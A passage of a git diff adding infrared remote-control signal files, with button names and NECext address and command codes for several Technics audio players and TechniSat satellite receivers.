+address: A0 0A 00 00 +command: 49 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 81 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 84 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 85 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir new file mode 100644 index 000000000..96b787a8f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 21 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 3D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 47 00 00 00 +# +name: A\*B_Repeat +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 48 00 00 00 +# +name: PrevTrack +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 49 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4A 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4D 00 00 00 +# +name: Time_Mode +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 55 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 81 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 84 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8A 00 00 00 +# +name: Auto_Cue +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8B 00 00 00 +# +name: Peak_Search +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8F 00 00 00 +# +name: Time_Fade +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 94 00 00 00 +# +name: Tape_Length +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: AB 00 00 00 +# +name: Side_A/B +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: AC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir new file mode 100644 index 000000000..dce0024dd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 00 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 01 00 00 00 +# +name: search_down +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 02 00 00 00 +# +name: search_up +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 0A 00 00 00 +# +name: num_1 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 10 00 00 00 +# +name: num_2 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 11 00 00 00 +# +name: num_3 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 11 00 00 00 +# +name: num_4 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 13 00 00 00 +# +name: num_5 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 14 00 00 00 +# +name: num_6 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 15 00 00 00 +# +name: num_7 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 16 00 00 00 +# +name: num_8 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 17 00 00 00 +# +name: num_9 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 18 00 00 00 +# +name: num_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 19 00 00 00 +# +name: level_up +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 20 00 00 00 +# +name: level_down +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 21 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 3D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 47 00 00 00 +# +name: a-b_repeat +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 48 00 00 00 +# +name: skip_down +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 49 00 00 00 +# +name: skip_up +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4A 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4D 00 00 00 +# +name: time_mode +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 55 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 81 00 00 00 +# +name: two_digits +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 84 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8A 00 00 00 +# +name: auto_cue +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8B 00 00 00 +# +name: peak_search +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8F 00 00 00 +# +name: time_fade +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 94 00 00 00 +# +name: tape_length +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: AB 00 00 00 +# +name: side_a-b +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: AC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir new file mode 100644 index 000000000..eb8371fb0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0D 00 00 00 +# +name: HILFE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 22 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 23 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 29 00 00 00 +# +name: STOP2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 29 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: EXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 3C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir new file mode 100644 index 000000000..5f80e0ce2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 22 00 00 00 +# +name: Sound +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 23 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 26 00 00 00 +# +name: Still +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 29 00 00 00 +# +name: SFI +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 3C 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir new file mode 100644 index 000000000..fd3530ae3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 22 00 00 00 +# +name: KEY_SOUND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 23 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 26 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 29 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 37 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 3C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_QUESTION +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 7D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir new file mode 100644 index 000000000..d5b438eed --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: dek +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_TAB +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: program_plus +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: program_minus +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: lnb +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: deem +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: save +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: audio_plus +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: audio_minus +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir new file mode 100644 index 000000000..f58c8a711 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: TV/R +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir new file mode 100644 index 000000000..880da41ac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir new file mode 100644 index 000000000..14933b8b0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# 